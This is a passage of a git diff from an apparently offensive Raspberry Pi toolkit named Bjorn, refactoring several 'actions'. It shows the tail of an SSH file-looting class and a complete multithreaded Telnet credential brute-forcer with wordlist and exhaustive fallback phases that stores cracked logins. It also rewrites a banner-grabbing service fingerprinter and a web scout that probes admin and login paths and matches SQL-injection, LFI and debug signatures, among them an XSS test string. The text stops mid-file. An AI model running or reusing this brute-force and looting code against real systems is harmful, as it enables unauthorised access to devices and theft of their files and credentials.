self.shared_data.comment_params = {"user": username, "ip": ip, "port": str(port_i), "hostname": hostname, "files": str(len(files))}
|
||||
for remote in files:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted during download.")
|
||||
@@ -310,12 +334,14 @@ class StealFilesSSH:
|
||||
# Stay quiet on Paramiko internals; just log the reason and try next cred
|
||||
logger.error(f"SSH loot attempt failed on {ip} with {username}: {e}")
|
||||
|
||||
timer.cancel()
|
||||
return 'success' if success_any else 'failed'
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||
return 'failed'
|
||||
finally:
|
||||
if timer:
|
||||
timer.cancel()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
"""
|
||||
telnet_bruteforce.py — Telnet bruteforce (DB-backed, no CSV/JSON, no rich)
|
||||
- Cibles: (ip, port) par l’orchestrateur
|
||||
"""
|
||||
telnet_bruteforce.py — Telnet bruteforce (DB-backed, no CSV/JSON, no rich)
|
||||
- Cibles: (ip, port) par l’orchestrateur
|
||||
- IP -> (MAC, hostname) via DB.hosts
|
||||
- Succès -> DB.creds (service='telnet')
|
||||
- Conserve la logique d’origine (telnetlib, queue/threads)
|
||||
- Succès -> DB.creds (service='telnet')
|
||||
- Conserve la logique d’origine (telnetlib, queue/threads)
|
||||
"""
|
||||
|
||||
import os
|
||||
@@ -15,6 +15,7 @@ from queue import Queue
|
||||
from typing import List, Dict, Tuple, Optional
|
||||
|
||||
from shared import SharedData
|
||||
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="telnet_bruteforce.py", level=logging.DEBUG)
|
||||
@@ -43,20 +44,21 @@ class TelnetBruteforce:
|
||||
return self.telnet_bruteforce.run_bruteforce(ip, port)
|
||||
|
||||
def execute(self, ip, port, row, status_key):
|
||||
"""Point d’entrée orchestrateur (retour 'success' / 'failed')."""
|
||||
"""Point d'entrée orchestrateur (retour 'success' / 'failed')."""
|
||||
logger.info(f"Executing TelnetBruteforce on {ip}:{port}")
|
||||
self.shared_data.bjorn_orch_status = "TelnetBruteforce"
|
||||
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
||||
success, results = self.bruteforce_telnet(ip, port)
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
|
||||
class TelnetConnector:
|
||||
"""Gère les tentatives Telnet, persistance DB, mapping IP→(MAC, Hostname)."""
|
||||
"""Gère les tentatives Telnet, persistance DB, mapping IP→(MAC, Hostname)."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
# Wordlists inchangées
|
||||
# Wordlists inchangées
|
||||
self.users = self._read_lines(shared_data.users_file)
|
||||
self.passwords = self._read_lines(shared_data.passwords_file)
|
||||
|
||||
@@ -67,6 +69,7 @@ class TelnetConnector:
|
||||
self.lock = threading.Lock()
|
||||
self.results: List[List[str]] = [] # [mac, ip, hostname, user, password, port]
|
||||
self.queue = Queue()
|
||||
self.progress = None
|
||||
|
||||
# ---------- util fichiers ----------
|
||||
@staticmethod
|
||||
@@ -110,9 +113,10 @@ class TelnetConnector:
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# ---------- Telnet ----------
|
||||
def telnet_connect(self, adresse_ip: str, user: str, password: str) -> bool:
|
||||
def telnet_connect(self, adresse_ip: str, user: str, password: str, port: int = 23, timeout: int = 10) -> bool:
|
||||
timeout = int(getattr(self.shared_data, "telnet_connect_timeout_s", timeout))
|
||||
try:
|
||||
tn = telnetlib.Telnet(adresse_ip)
|
||||
tn = telnetlib.Telnet(adresse_ip, port=port, timeout=timeout)
|
||||
tn.read_until(b"login: ", timeout=5)
|
||||
tn.write(user.encode('ascii') + b"\n")
|
||||
if password:
|
||||
@@ -175,14 +179,17 @@ class TelnetConnector:
|
||||
|
||||
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||||
try:
|
||||
if self.telnet_connect(adresse_ip, user, password):
|
||||
if self.telnet_connect(adresse_ip, user, password, port=port):
|
||||
with self.lock:
|
||||
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
|
||||
logger.success(f"Found credentials IP:{adresse_ip} | User:{user} | Password:{password}")
|
||||
self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port)}
|
||||
self.save_results()
|
||||
self.removeduplicates()
|
||||
success_flag[0] = True
|
||||
finally:
|
||||
if self.progress is not None:
|
||||
self.progress.advance(1)
|
||||
self.queue.task_done()
|
||||
|
||||
# Optional delay between attempts
|
||||
@@ -191,46 +198,54 @@ class TelnetConnector:
|
||||
|
||||
|
||||
def run_bruteforce(self, adresse_ip: str, port: int):
|
||||
self.results = []
|
||||
mac_address = self.mac_for_ip(adresse_ip)
|
||||
hostname = self.hostname_for_ip(adresse_ip) or ""
|
||||
|
||||
total_tasks = len(self.users) * len(self.passwords)
|
||||
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
||||
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
|
||||
if total_tasks == 0:
|
||||
logger.warning("No users/passwords loaded. Abort.")
|
||||
return False, []
|
||||
|
||||
for user in self.users:
|
||||
for password in self.passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return False, []
|
||||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||
|
||||
self.progress = ProgressTracker(self.shared_data, total_tasks)
|
||||
success_flag = [False]
|
||||
threads = []
|
||||
thread_count = min(40, max(1, total_tasks))
|
||||
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
def run_phase(passwords):
|
||||
phase_tasks = len(self.users) * len(passwords)
|
||||
if phase_tasks == 0:
|
||||
return
|
||||
|
||||
while not self.queue.empty():
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce.")
|
||||
while not self.queue.empty():
|
||||
try:
|
||||
self.queue.get_nowait()
|
||||
self.queue.task_done()
|
||||
except Exception:
|
||||
break
|
||||
break
|
||||
for user in self.users:
|
||||
for password in passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return
|
||||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
threads = []
|
||||
thread_count = min(8, max(1, phase_tasks))
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
return success_flag[0], self.results
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
try:
|
||||
run_phase(dict_passwords)
|
||||
if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit:
|
||||
logger.info(
|
||||
f"Telnet dictionary phase failed on {adresse_ip}:{port}. "
|
||||
f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)."
|
||||
)
|
||||
run_phase(fallback_passwords)
|
||||
self.progress.set_complete()
|
||||
return success_flag[0], self.results
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
# ---------- persistence DB ----------
|
||||
def save_results(self):
|
||||
@@ -270,3 +285,4 @@ if __name__ == "__main__":
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
exit(1)
|
||||
|
||||
|
||||
@@ -1,214 +1,191 @@
|
||||
# Service fingerprinting and version detection tool for vulnerability identification.
|
||||
# Saves settings in `/home/bjorn/.settings_bjorn/thor_hammer_settings.json`.
|
||||
# Automatically loads saved settings if arguments are not provided.
|
||||
# -t, --target Target IP or hostname to scan (overrides saved value).
|
||||
# -p, --ports Ports to scan (default: common ports, comma-separated).
|
||||
# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/services).
|
||||
# -d, --delay Delay between probes in seconds (default: 1).
|
||||
# -v, --verbose Enable verbose output for detailed service information.
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
thor_hammer.py — Service fingerprinting (Pi Zero friendly, orchestrator compatible).
|
||||
|
||||
What it does:
|
||||
- For a given target (ip, port), tries a fast TCP connect + banner grab.
|
||||
- Optionally stores a service fingerprint into DB.port_services via db.upsert_port_service.
|
||||
- Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
|
||||
|
||||
Notes:
|
||||
- Avoids spawning nmap per-port (too heavy). If you want nmap, add a dedicated action.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import socket
|
||||
import argparse
|
||||
import threading
|
||||
from datetime import datetime
|
||||
import logging
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
import subprocess
|
||||
import socket
|
||||
import time
|
||||
from typing import Dict, Optional, Tuple
|
||||
|
||||
from logger import Logger
|
||||
from actions.bruteforce_common import ProgressTracker
|
||||
|
||||
logger = Logger(name="thor_hammer.py", level=logging.DEBUG)
|
||||
|
||||
# -------------------- Action metadata (AST-friendly) --------------------
|
||||
b_class = "ThorHammer"
|
||||
b_module = "thor_hammer"
|
||||
b_status = "ThorHammer"
|
||||
b_port = None
|
||||
b_parent = None
|
||||
b_service = '["ssh","ftp","telnet","http","https","smb","mysql","postgres","mssql","rdp","vnc"]'
|
||||
b_trigger = "on_port_change"
|
||||
b_priority = 35
|
||||
b_action = "normal"
|
||||
b_cooldown = 1200
|
||||
b_rate_limit = "24/86400"
|
||||
b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready.
|
||||
|
||||
|
||||
def _guess_service_from_port(port: int) -> str:
|
||||
mapping = {
|
||||
21: "ftp",
|
||||
22: "ssh",
|
||||
23: "telnet",
|
||||
25: "smtp",
|
||||
53: "dns",
|
||||
80: "http",
|
||||
110: "pop3",
|
||||
139: "netbios-ssn",
|
||||
143: "imap",
|
||||
443: "https",
|
||||
445: "smb",
|
||||
1433: "mssql",
|
||||
3306: "mysql",
|
||||
3389: "rdp",
|
||||
5432: "postgres",
|
||||
5900: "vnc",
|
||||
8080: "http",
|
||||
}
|
||||
return mapping.get(int(port), "")
|
||||
|
||||
|
||||
|
||||
b_class = "ThorHammer"
|
||||
b_module = "thor_hammer"
|
||||
b_enabled = 0
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
|
||||
# Default settings
|
||||
DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/services"
|
||||
DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
||||
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "thor_hammer_settings.json")
|
||||
DEFAULT_PORTS = [21, 22, 23, 25, 53, 80, 110, 115, 139, 143, 194, 443, 445, 1433, 3306, 3389, 5432, 5900, 8080]
|
||||
|
||||
# Service signature database
|
||||
SERVICE_SIGNATURES = {
|
||||
21: {
|
||||
'name': 'FTP',
|
||||
'vulnerabilities': {
|
||||
'vsftpd 2.3.4': 'Backdoor command execution',
|
||||
'ProFTPD 1.3.3c': 'Remote code execution'
|
||||
}
|
||||
},
|
||||
22: {
|
||||
'name': 'SSH',
|
||||
'vulnerabilities': {
|
||||
'OpenSSH 5.3': 'Username enumeration',
|
||||
'OpenSSH 7.2p1': 'User enumeration timing attack'
|
||||
}
|
||||
},
|
||||
# Add more signatures as needed
|
||||
}
|
||||
|
||||
class ThorHammer:
|
||||
def __init__(self, target, ports=None, output_dir=DEFAULT_OUTPUT_DIR, delay=1, verbose=False):
|
||||
self.target = target
|
||||
self.ports = ports or DEFAULT_PORTS
|
||||
self.output_dir = output_dir
|
||||
self.delay = delay
|
||||
self.verbose = verbose
|
||||
self.results = {
|
||||
'target': target,
|
||||
'timestamp': datetime.now().isoformat(),
|
||||
'services': {}
|
||||
}
|
||||
self.lock = threading.Lock()
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
def probe_service(self, port):
|
||||
"""Probe a specific port for service information."""
|
||||
def _connect_and_banner(self, ip: str, port: int, timeout_s: float, max_bytes: int) -> Tuple[bool, str]:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(timeout_s)
|
||||
try:
|
||||
# Initial connection test
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(self.delay)
|
||||
result = sock.connect_ex((self.target, port))
|
||||
|
||||
if result == 0:
|
||||
service_info = {
|
||||
'port': port,
|
||||
'state': 'open',
|
||||
'service': None,
|
||||
'version': None,
|
||||
'vulnerabilities': []
|
||||
if s.connect_ex((ip, int(port))) != 0:
|
||||
return False, ""
|
||||
try:
|
||||
data = s.recv(max_bytes)
|
||||
banner = (data or b"").decode("utf-8", errors="ignore").strip()
|
||||
except Exception:
|
||||
banner = ""
|
||||
return True, banner
|
||||
finally:
|
||||
try:
|
||||
s.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
try:
|
||||
port_i = int(port) if str(port).strip() else None
|
||||
except Exception:
|
||||
port_i = None
|
||||
|
||||
# If port is missing, try to infer from row 'Ports' and fingerprint a few.
|
||||
ports_to_check = []
|
||||
if port_i:
|
||||
ports_to_check = [port_i]
|
||||
else:
|
||||
ports_txt = str(row.get("Ports") or row.get("ports") or "")
|
||||
for p in ports_txt.split(";"):
|
||||
p = p.strip()
|
||||
if p.isdigit():
|
||||
ports_to_check.append(int(p))
|
||||
ports_to_check = ports_to_check[:12] # Pi Zero guard
|
||||
|
||||
if not ports_to_check:
|
||||
return "failed"
|
||||
|
||||
timeout_s = float(getattr(self.shared_data, "thor_connect_timeout_s", 1.5))
|
||||
max_bytes = int(getattr(self.shared_data, "thor_banner_max_bytes", 1024))
|
||||
source = str(getattr(self.shared_data, "thor_source", "thor_hammer"))
|
||||
|
||||
mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip()
|
||||
hostname = (row.get("Hostname") or row.get("hostname") or "").strip()
|
||||
if ";" in hostname:
|
||||
hostname = hostname.split(";", 1)[0].strip()
|
||||
|
||||
self.shared_data.bjorn_orch_status = "ThorHammer"
|
||||
self.shared_data.bjorn_status_text2 = ip
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(ports_to_check[0])}
|
||||
|
||||
progress = ProgressTracker(self.shared_data, len(ports_to_check))
|
||||
|
||||
try:
|
||||
any_open = False
|
||||
for p in ports_to_check:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
ok, banner = self._connect_and_banner(ip, p, timeout_s=timeout_s, max_bytes=max_bytes)
|
||||
any_open = any_open or ok
|
||||
|
||||
service = _guess_service_from_port(p)
|
||||
product = ""
|
||||
version = ""
|
||||
fingerprint = banner[:200] if banner else ""
|
||||
confidence = 0.4 if ok else 0.1
|
||||
state = "open" if ok else "closed"
|
||||
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"port": str(p),
|
||||
"open": str(int(ok)),
|
||||
"svc": service or "?",
|
||||
}
|
||||
|
||||
# Get service banner
|
||||
# Persist to DB if method exists.
|
||||
try:
|
||||
banner = sock.recv(1024).decode('utf-8', errors='ignore').strip()
|
||||
service_info['banner'] = banner
|
||||
except:
|
||||
service_info['banner'] = None
|
||||
if hasattr(self.shared_data, "db") and hasattr(self.shared_data.db, "upsert_port_service"):
|
||||
self.shared_data.db.upsert_port_service(
|
||||
mac_address=mac or "",
|
||||
ip=ip,
|
||||
port=int(p),
|
||||
protocol="tcp",
|
||||
state=state,
|
||||
service=service or None,
|
||||
product=product or None,
|
||||
version=version or None,
|
||||
banner=banner or None,
|
||||
fingerprint=fingerprint or None,
|
||||
confidence=float(confidence),
|
||||
source=source,
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DB upsert_port_service failed for {ip}:{p}: {e}")
|
||||
|
||||
# Advanced service detection using nmap if available
|
||||
try:
|
||||
nmap_output = subprocess.check_output(
|
||||
['nmap', '-sV', '-p', str(port), '-T4', self.target],
|
||||
stderr=subprocess.DEVNULL
|
||||
).decode()
|
||||
|
||||
# Parse nmap output
|
||||
for line in nmap_output.split('\n'):
|
||||
if str(port) in line and 'open' in line:
|
||||
service_info['service'] = line.split()[2]
|
||||
if len(line.split()) > 3:
|
||||
service_info['version'] = ' '.join(line.split()[3:])
|
||||
except:
|
||||
pass
|
||||
progress.advance(1)
|
||||
|
||||
# Check for known vulnerabilities
|
||||
if port in SERVICE_SIGNATURES:
|
||||
sig = SERVICE_SIGNATURES[port]
|
||||
service_info['service'] = service_info['service'] or sig['name']
|
||||
if service_info['version']:
|
||||
for vuln_version, vuln_desc in sig['vulnerabilities'].items():
|
||||
if vuln_version.lower() in service_info['version'].lower():
|
||||
service_info['vulnerabilities'].append({
|
||||
'version': vuln_version,
|
||||
'description': vuln_desc
|
||||
})
|
||||
progress.set_complete()
|
||||
return "success" if any_open else "failed"
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
self.shared_data.bjorn_status_text2 = ""
|
||||
|
||||
with self.lock:
|
||||
self.results['services'][port] = service_info
|
||||
if self.verbose:
|
||||
logging.info(f"Service detected on port {port}: {service_info['service']}")
|
||||
|
||||
sock.close()
|
||||
# -------------------- Optional CLI (debug/manual) --------------------
|
||||
if __name__ == "__main__":
|
||||
import argparse
|
||||
from shared import SharedData
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error probing port {port}: {e}")
|
||||
|
||||
def save_results(self):
|
||||
"""Save scan results to a JSON file."""
|
||||
try:
|
||||
os.makedirs(self.output_dir, exist_ok=True)
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||
filename = os.path.join(self.output_dir, f"service_scan_{timestamp}.json")
|
||||
|
||||
with open(filename, 'w') as f:
|
||||
json.dump(self.results, f, indent=4)
|
||||
logging.info(f"Results saved to {filename}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save results: {e}")
|
||||
|
||||
def execute(self):
|
||||
"""Execute the service scanning and fingerprinting process."""
|
||||
logging.info(f"Starting service scan on {self.target}")
|
||||
|
||||
with ThreadPoolExecutor(max_workers=10) as executor:
|
||||
executor.map(self.probe_service, self.ports)
|
||||
|
||||
self.save_results()
|
||||
return self.results
|
||||
|
||||
def save_settings(target, ports, output_dir, delay, verbose):
|
||||
"""Save settings to JSON file."""
|
||||
try:
|
||||
os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True)
|
||||
settings = {
|
||||
"target": target,
|
||||
"ports": ports,
|
||||
"output_dir": output_dir,
|
||||
"delay": delay,
|
||||
"verbose": verbose
|
||||
}
|
||||
with open(SETTINGS_FILE, 'w') as f:
|
||||
json.dump(settings, f)
|
||||
logging.info(f"Settings saved to {SETTINGS_FILE}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save settings: {e}")
|
||||
|
||||
def load_settings():
|
||||
"""Load settings from JSON file."""
|
||||
if os.path.exists(SETTINGS_FILE):
|
||||
try:
|
||||
with open(SETTINGS_FILE, 'r') as f:
|
||||
return json.load(f)
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to load settings: {e}")
|
||||
return {}
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Service fingerprinting and vulnerability detection tool")
|
||||
parser.add_argument("-t", "--target", help="Target IP or hostname")
|
||||
parser.add_argument("-p", "--ports", help="Ports to scan (comma-separated)")
|
||||
parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory")
|
||||
parser.add_argument("-d", "--delay", type=float, default=1, help="Delay between probes")
|
||||
parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output")
|
||||
parser = argparse.ArgumentParser(description="ThorHammer (service fingerprint)")
|
||||
parser.add_argument("--ip", required=True)
|
||||
parser.add_argument("--port", default="22")
|
||||
args = parser.parse_args()
|
||||
|
||||
settings = load_settings()
|
||||
target = args.target or settings.get("target")
|
||||
ports = [int(p) for p in args.ports.split(',')] if args.ports else settings.get("ports", DEFAULT_PORTS)
|
||||
output_dir = args.output or settings.get("output_dir")
|
||||
delay = args.delay or settings.get("delay")
|
||||
verbose = args.verbose or settings.get("verbose")
|
||||
sd = SharedData()
|
||||
act = ThorHammer(sd)
|
||||
row = {"MAC Address": sd.get_raspberry_mac() or "__GLOBAL__", "Hostname": "", "Ports": args.port}
|
||||
print(act.execute(args.ip, args.port, row, "ThorHammer"))
|
||||
|
||||
if not target:
|
||||
logging.error("Target is required. Use -t or save it in settings")
|
||||
return
|
||||
|
||||
save_settings(target, ports, output_dir, delay, verbose)
|
||||
|
||||
scanner = ThorHammer(
|
||||
target=target,
|
||||
ports=ports,
|
||||
output_dir=output_dir,
|
||||
delay=delay,
|
||||
verbose=verbose
|
||||
)
|
||||
scanner.execute()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,313 +1,396 @@
|
||||
# Web application scanner for discovering hidden paths and vulnerabilities.
|
||||
# Saves settings in `/home/bjorn/.settings_bjorn/valkyrie_scout_settings.json`.
|
||||
# Automatically loads saved settings if arguments are not provided.
|
||||
# -u, --url Target URL to scan (overrides saved value).
|
||||
# -w, --wordlist Path to directory wordlist (default: built-in list).
|
||||
# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/webscan).
|
||||
# -t, --threads Number of concurrent threads (default: 10).
|
||||
# -d, --delay Delay between requests in seconds (default: 0.1).
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
valkyrie_scout.py — Web surface scout (Pi Zero friendly, orchestrator compatible).
|
||||
|
||||
What it does:
|
||||
- Probes a small set of common web paths on a target (ip, port).
|
||||
- Extracts high-signal indicators from responses (auth type, login form hints, missing security headers,
|
||||
error/debug strings). No exploitation, no bruteforce.
|
||||
- Writes results into DB table `webenum` (tool='valkyrie_scout') so the UI can browse findings.
|
||||
- Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import requests
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
import logging
|
||||
import threading
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from urllib.parse import urljoin
|
||||
import re
|
||||
from bs4 import BeautifulSoup
|
||||
import ssl
|
||||
import time
|
||||
from http.client import HTTPConnection, HTTPSConnection, RemoteDisconnected
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
|
||||
from logger import Logger
|
||||
from actions.bruteforce_common import ProgressTracker
|
||||
|
||||
logger = Logger(name="valkyrie_scout.py", level=logging.DEBUG)
|
||||
|
||||
# -------------------- Action metadata (AST-friendly) --------------------
|
||||
b_class = "ValkyrieScout"
|
||||
b_module = "valkyrie_scout"
|
||||
b_status = "ValkyrieScout"
|
||||
b_port = 80
|
||||
b_parent = None
|
||||
b_service = '["http","https"]'
|
||||
b_trigger = "on_web_service"
|
||||
b_priority = 50
|
||||
b_action = "normal"
|
||||
b_cooldown = 1800
|
||||
b_rate_limit = "8/86400"
|
||||
b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready.
|
||||
|
||||
# Small default list to keep the action cheap on Pi Zero.
|
||||
DEFAULT_PATHS = [
|
||||
"/",
|
||||
"/robots.txt",
|
||||
"/login",
|
||||
"/signin",
|
||||
"/auth",
|
||||
"/admin",
|
||||
"/administrator",
|
||||
"/wp-login.php",
|
||||
"/user/login",
|
||||
]
|
||||
|
||||
# Keep patterns minimal and high-signal.
|
||||
SQLI_ERRORS = [
|
||||
"error in your sql syntax",
|
||||
"mysql_fetch",
|
||||
"unclosed quotation mark",
|
||||
"ora-",
|
||||
"postgresql",
|
||||
"sqlite error",
|
||||
]
|
||||
LFI_HINTS = [
|
||||
"include(",
|
||||
"require(",
|
||||
"include_once(",
|
||||
"require_once(",
|
||||
]
|
||||
DEBUG_HINTS = [
|
||||
"stack trace",
|
||||
"traceback",
|
||||
"exception",
|
||||
"fatal error",
|
||||
"notice:",
|
||||
"warning:",
|
||||
"debug",
|
||||
]
|
||||
|
||||
|
||||
b_class = "ValkyrieScout"
|
||||
b_module = "valkyrie_scout"
|
||||
b_enabled = 0
|
||||
def _scheme_for_port(port: int) -> str:
|
||||
https_ports = {443, 8443, 9443, 10443, 9444, 5000, 5001, 7080, 9080}
|
||||
return "https" if int(port) in https_ports else "http"
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
|
||||
# Default settings
|
||||
DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/webscan"
|
||||
DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
||||
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "valkyrie_scout_settings.json")
|
||||
|
||||
# Common web vulnerabilities to check
|
||||
VULNERABILITY_PATTERNS = {
|
||||
'sql_injection': [
|
||||
"error in your SQL syntax",
|
||||
"mysql_fetch_array",
|
||||
"ORA-",
|
||||
"PostgreSQL",
|
||||
],
|
||||
'xss': [
|
||||
"<script>alert(1)</script>",
|
||||
"javascript:alert(1)",
|
||||
],
|
||||
'lfi': [
|
||||
"include(",
|
||||
"require(",
|
||||
"include_once(",
|
||||
"require_once(",
|
||||
]
|
||||
}
|
||||
|
||||
class ValkyieScout:
|
||||
def __init__(self, url, wordlist=None, output_dir=DEFAULT_OUTPUT_DIR, threads=10, delay=0.1):
|
||||
self.base_url = url.rstrip('/')
|
||||
self.wordlist = wordlist
|
||||
self.output_dir = output_dir
|
||||
self.threads = threads
|
||||
self.delay = delay
|
||||
|
||||
self.discovered_paths = set()
|
||||
self.vulnerabilities = []
|
||||
self.forms = []
|
||||
|
||||
self.session = requests.Session()
|
||||
self.session.headers = {
|
||||
'User-Agent': 'Valkyrie Scout Web Scanner',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
||||
}
|
||||
|
||||
self.lock = threading.Lock()
|
||||
|
||||
def load_wordlist(self):
|
||||
"""Load directory wordlist."""
|
||||
if self.wordlist and os.path.exists(self.wordlist):
|
||||
with open(self.wordlist, 'r') as f:
|
||||
return [line.strip() for line in f if line.strip()]
|
||||
return [
|
||||
'admin', 'wp-admin', 'administrator', 'login', 'wp-login.php',
|
||||
'upload', 'uploads', 'backup', 'backups', 'config', 'configuration',
|
||||
'dev', 'development', 'test', 'testing', 'staging', 'prod',
|
||||
'api', 'v1', 'v2', 'beta', 'debug', 'console', 'phpmyadmin',
|
||||
'mysql', 'database', 'db', 'wp-content', 'includes', 'tmp', 'temp'
|
||||
]
|
||||
|
||||
def scan_path(self, path):
|
||||
"""Scan a single path for existence and vulnerabilities."""
|
||||
url = urljoin(self.base_url, path)
|
||||
try:
|
||||
response = self.session.get(url, allow_redirects=False)
|
||||
|
||||
if response.status_code in [200, 301, 302, 403]:
|
||||
with self.lock:
|
||||
self.discovered_paths.add({
|
||||
'path': path,
|
||||
'url': url,
|
||||
'status_code': response.status_code,
|
||||
'content_length': len(response.content),
|
||||
'timestamp': datetime.now().isoformat()
|
||||
})
|
||||
|
||||
# Scan for vulnerabilities
|
||||
self.check_vulnerabilities(url, response)
|
||||
|
||||
# Extract and analyze forms
|
||||
self.analyze_forms(url, response)
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error scanning {url}: {e}")
|
||||
|
||||
def check_vulnerabilities(self, url, response):
|
||||
"""Check for common vulnerabilities in the response."""
|
||||
try:
|
||||
content = response.text.lower()
|
||||
|
||||
for vuln_type, patterns in VULNERABILITY_PATTERNS.items():
|
||||
for pattern in patterns:
|
||||
if pattern.lower() in content:
|
||||
with self.lock:
|
||||
self.vulnerabilities.append({
|
||||
'type': vuln_type,
|
||||
'url': url,
|
||||
'pattern': pattern,
|
||||
'timestamp': datetime.now().isoformat()
|
||||
})
|
||||
|
||||
# Additional checks
|
||||
self.check_security_headers(url, response)
|
||||
self.check_information_disclosure(url, response)
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error checking vulnerabilities for {url}: {e}")
|
||||
|
||||
def analyze_forms(self, url, response):
|
||||
"""Analyze HTML forms for potential vulnerabilities."""
|
||||
try:
|
||||
soup = BeautifulSoup(response.text, 'html.parser')
|
||||
forms = soup.find_all('form')
|
||||
|
||||
for form in forms:
|
||||
form_data = {
|
||||
'url': url,
|
||||
'method': form.get('method', 'get').lower(),
|
||||
'action': urljoin(url, form.get('action', '')),
|
||||
'inputs': [],
|
||||
'timestamp': datetime.now().isoformat()
|
||||
}
|
||||
|
||||
# Analyze form inputs
|
||||
for input_field in form.find_all(['input', 'textarea']):
|
||||
input_data = {
|
||||
'type': input_field.get('type', 'text'),
|
||||
'name': input_field.get('name', ''),
|
||||
'id': input_field.get('id', ''),
|
||||
'required': input_field.get('required') is not None
|
||||
}
|
||||
form_data['inputs'].append(input_data)
|
||||
|
||||
with self.lock:
|
||||
self.forms.append(form_data)
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error analyzing forms in {url}: {e}")
|
||||
|
||||
def check_security_headers(self, url, response):
|
||||
